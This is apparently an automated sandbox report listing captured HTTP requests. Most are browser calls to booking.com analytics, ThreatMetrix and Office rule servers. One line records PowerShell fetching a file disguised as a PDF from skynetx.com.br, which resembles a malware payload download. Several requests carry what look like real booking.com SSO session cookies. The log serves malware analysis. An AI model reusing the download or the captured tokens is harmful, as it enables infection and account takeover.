Source: global traffic	HTTP traffic detected: GET /fp/clear.png HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /, doregtzf/0879407f60bb10db1a0be17c-3152-46c0-a97b-914483824c57sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://account.booking.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /raphael_cs HTTP/1.1Host: booking.ck123.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CvvXMUccr6E3ph3y?1cc01da8db961767=JI3-jrpjkLDyhGzKSUTSYtpoAduuUYP77Psm1XOnM8MEueBfEP1sgw7TFuJx1He3WMkZhzXTcFNgsaU2N6ulYOsAzwZQOziO13H7hSsyK74g0wjMDtUYrU0VjQbTgv6z0i3CWpbiUUCaEn88HtSHELr83bCmVMD1BifcwHWMkBXgqPPpmxiDTP8pSHI1qymVAWAQ-SGsxgfxrgTrLsE HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /LhN2rTmyLvZ8iwj4?106b3ce28eefbedd=4uL9NP2nFpcAmff3gw9pPyoesz986SnHJN4SLHPzj5PCKepLDULDfG0MT5w30dl6fe2TRqbDH4iDt4tUjEpC71jBpXRYu7p6BXTMTd7AsfDAlX_GD5M6UAolOcRpmWj14Cq0J-2S0DtzvGbT0UbWYXyNByB8OyQ_ps2Y0brxap-H5yK1mkhLcemxeVSjjQ-6drQPZkfDmiKhBfquFj5E HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /3RvMdW9zCqT5LTmo?3f48a0da5674df3e=jfGRd8wa-Ilfr-lPcrCzx7evv4aTQE-ZIyTphkobqs6vc3n9RCDITz3fjkzmsLwd9Q_2MpCeI_IXzYuIhyIYHAUMtgXamFjKKzRjSuBBoLYx12EbkaDO4meW2vyKMTkeD8e6_XOIZ1YMljct70x_mTjFmS5_8IwRC4LThFGYIHAcprUD9wlNKqJJWKvfYAa3cXJjJU0aiLsqkAbR0aQG HTTP/1.1Host: h.online-metrix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /hxAjaYtkzhmJ4xhO?b2df2a9cac3c3b57=qljv74WQos3wQSAN0LWbf_4UmPvhbv1sGLvb_J26stRA1oUpfez7ZHFlRSSkzEgvHgdxekIYtc2y7FP0w1ZyJYHFnw8uK0a6zXMvuDZ_M6HH14Ry96NkwKda-PfYd1i_NrszxDmUzeV7hHeSy8CvWnjPFcgCS_p5 HTTP/1.1Host: h64.online-metrix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Nlzev3tt5u_xEjFI?8ad7837480fab059=PTlHpp3RVAHRveEKY0b3hZsg0vpXlvmDfAtub0ndu56Q41J7y5SMC3BmagQNYRL-7mrqiyZgKKbDXxmIcOAcSZJXNPkVectc4KskHGf9rWvwIWI0o8Jk3IFveYG7iVxyJJaLBprPwR11xjmFz6qvVs3rEllwDRzZTuX8GGus2RUTIHQ HTTP/1.1Host: h.online-metrix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /IEThGZCf03EamIVs?1ccc74c0c8e2c8fe=afnFr4BHYAOWDetExnnLQmpIZQG3eeXLO3bguj3Cq2dR-hwj1K0Mu627RpoG6ehpJh9VNeDIHMolMM1D7XkO0Iye1Q93r1pFy6hYk0lryHkLAZQlUvPpZa9S5-NnRgV7NTexO7h6_uVDYiNS7iWQzw HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jb=3336266e73613f3331313434346c663735383e346c66346a3d3165353b3a383562643067653666 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /license/2/1tronps1.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp/clear.png HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /xW0KoT92WnicNNTb?495376562534e9d1=-n7AKwsH_FYqlWoeD96nobeF5sEdEo-hhnIm4-YW3MSySixp4T0rs-fqX8FWef-ALgHJ_GA-gEWXMVawLV8px-E3XF8uAId4P1saWpUKeRG4U4WjV5qhadoIBsd1W2czF570D1rXqtta93-kQCb68pJRVmY&jf=3336266e73623f346e373262606c393434316d34393464313f6138343b333c60303b6634323962 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://asanalytics.booking.com/CvvXMUccr6E3ph3y?1cc01da8db961767=JI3-jrpjkLDyhGzKSUTSYtpoAduuUYP77Psm1XOnM8MEueBfEP1sgw7TFuJx1He3WMkZhzXTcFNgsaU2N6ulYOsAzwZQOziO13H7hSsyK74g0wjMDtUYrU0VjQbTgv6z0i3CWpbiUUCaEn88HtSHELr83bCmVMD1BifcwHWMkBXgqPPpmxiDTP8pSHI1qymVAWAQ-SGsxgfxrgTrLsEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /7hGTh9OUjYGo3LSe?8f99ece7b8384103=xo1-sFTvGGV6RfJxJ-oe22zy0yo4lj6c7SGCIHSzCmhA04qkbE1dq77POuw3Cbfid0Qzs_NPO3371r494eZNPbMZifRYZzXkKrdJqB3ke-9dFDaBtgeKHsnjbMHJSX4tecEogzP3OVmu-yXmlMhaJQ&fr HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://asanalytics.booking.com/CvvXMUccr6E3ph3y?1cc01da8db961767=JI3-jrpjkLDyhGzKSUTSYtpoAduuUYP77Psm1XOnM8MEueBfEP1sgw7TFuJx1He3WMkZhzXTcFNgsaU2N6ulYOsAzwZQOziO13H7hSsyK74g0wjMDtUYrU0VjQbTgv6z0i3CWpbiUUCaEn88HtSHELr83bCmVMD1BifcwHWMkBXgqPPpmxiDTP8pSHI1qymVAWAQ-SGsxgfxrgTrLsEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&ja=323431352626613f2531303024723d3432266e3d39303a38703130323c2469643d33323a3078393a3426717a713f31307a39302466707a3d392e333a30302c3138303c2e313038322c3938362c3132313c2e383732243132373024393e362e39382c31302e6f7c3f3235663731643333343967346a6432303b6a363460643b383f6032696e3363342e6f663f32247361643d3236266c6a3f60767470712d334327324e253a44636b6b6f756e7c2c6a6d6f69696c672e636d6d2530447b6b676e2f616e273146677057766d636d6e25334c476f54765b5854306143497941536d5d4c6c6f31456d3b4b543a51724c693d7d4e33707a4f3b4070616d65534357443164456a7e616d6c3452526d6361405238614a453e4c793960584f33706069376962323b72615537664e6d4e746a533a734f6673615b5a5e38614639606640506c6058403058326e6b49686d614c6a41374757486a4e4c597c5b566f724f4330384f6261774e54697a5a444b744e6f5061585455334754406a593a52614b6c38714b325662563a485854555377636e447a4d47334b4c3038325f6d6a4d4d5c4a424f542e786c3d352e72603f653a3030646661373535333b3b643465606d383b3b336d623c633b313a3930642e6a603f376161633464343b623936606a3a3536323d326333623165393a363e3a3263632e687b6d3d55696c646f77712532323338246a736035436a706f65652d3032393937266a7b6d7d3f576b6e666f7773246a736077354168726d6565246c686b3d3c246c6c653d3826666f7c723d3226767a643d436d65706b6b632532444665755d59677263246f697c68723d3c3238316433633062656332326534616b3736303230326366313d353c32336e6c34353830333c336434656361323466633936636e606437303b313133393e612e667035607474707b273b432530462732466161636f776c7c2c626f6d63696c652e6b6f6527304e7b69676e256b662733446f725f746f69656e27314c4767567451585432614b4b714353675d4e6c6f3b4f653b495632537a4e6b37754e31727a4f3342726b6d6551435f46396645607e636d6c3e585a6d616348503063484f364c7b3b60584731726a69376b623a397a63553d664c6d4e7e605b3a714d6e71695958543061443b606648526e6a584032583a6c634b6867614e6a413d4d5f48684c445b745954657a4f4132384f6a6375445469785a4c497c4c6f5a615a5455394d5c40685b325069496e32794b30546256324a5a5e555375636646724f47394b4e30383855656a4f4f54484a4d5624703d726e7d65696e5d6e6c6371682d354d6463647b65217064776f6b6e5d776b6e646f75735f6f676c6b615f7264617b67722d354d6463647b65217064776f6b6e5d61666f62655d6163706d6a637425374d66636e736d21786e776f616e5f717d6b6b69746b6d6725354564616c716729726c7565616e5d716867636375637e6d2535456e6364716523706e7567696c5f72676364726c617b6d722737456e6164716729786c7567616c57746c615f726c617967722537476e636c736729706e7767616e5766677e696c76722d374d64616e736721706c7767696c5d7b74675f7461657567722d354d6463647b65217064776f6b6e5d6a63766125374566636e7b6726676e57633f75656a676455676a4f4c2532383326322530302a4f70656c474c2730384753253038322c32253a304b6a70676569756d21556d60474e253030474c514c2530324d51253232392e3227323828477267664f4c253238475b273232474e534c2530304551273a32312e322d323241687a6f656b776521576562436b7c5565604b6b742532325765604544434e474e4d5f6b6c737c616661676c57617272697b7b2733402530304558565f626e6766665f6d6b666d637a253b422d30324d50545f63676e67705f
Source: global traffic	HTTP traffic detected: GET /hxAjaYtkzhmJ4xhO?b2df2a9cac3c3b57=qljv74WQos3wQSAN0LWbf_4UmPvhbv1sGLvb_J26stRA1oUpfez7ZHFlRSSkzEgvHgdxekIYtc2y7FP0w1ZyJYHFnw8uK0a6zXMvuDZ_M6HH14Ry96NkwKda-PfYd1i_NrszxDmUzeV7hHeSy8CvWnjPFcgCS_p5 HTTP/1.1Host: h64.online-metrix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7HsaMYVX6rVWjHEe?578f12a739557b0e=_A5PBHy5OZEavFPFglIBqv1cXDbJLVzFf3uUrDaEZCAMXTiWUY5Qgd8kTo4nD0UItL-tdACpChehMAenaRsRCD9Eh5HWyzRnIrAgUBpB8N9yDs7r_94uFZgJ9jMvyMDqQTnaLuWAJ3t4d_gryrJSZFZCgLQDe50rWB5Xo32vHcR7x5K36jVWWyjOjhKYQ7opgL8RteOL_tpNfU0POFQ&jf=343138247369665d7a6c643d766c725d46736f393f49635c7f7167507e337d45267169665f646176653d33353b323535303c32342473616457767b786d3d77656a386d61647161247369645d6b657b3f3b32353931383131323638373a633a3e3c3863653b66383030333034303832633836363a6b673364323b3033323738333c303238383438393e3631326360663a62383232613866376a373938613e643b30336a38383731386b613966303a3e6663636136313538323338333b6e323532613e643b36356d32306032316c6236333b373831653263643930323b33373633313130303b3e383061623b646c37353a39343033303a6a363067653a31656634303667606c6626736b6c5f716b673533383634383a32313038613961303533363564643b386431343f3a34303a3165363a643f32313a3b6a6a326133693b6a633763623631623064636137353a663536613f626760623f306d32303a393030653a366d66373134633133356630373b316b3763663330656135666c363136343c393733346a323032653a663a3132616762313033693b65663a6c393a36333c267b6b647a3531 HTTP/1.1Host: h.online-metrix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://h.online-metrix.net/3RvMdW9zCqT5LTmo?3f48a0da5674df3e=jfGRd8wa-Ilfr-lPcrCzx7evv4aTQE-ZIyTphkobqs6vc3n9RCDITz3fjkzmsLwd9Q_2MpCeI_IXzYuIhyIYHAUMtgXamFjKKzRjSuBBoLYx12EbkaDO4meW2vyKMTkeD8e6_XOIZ1YMljct70x_mTjFmS5_8IwRC4LThFGYIHAcprUD9wlNKqJJWKvfYAa3cXJjJU0aiLsqkAbR0aQGAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
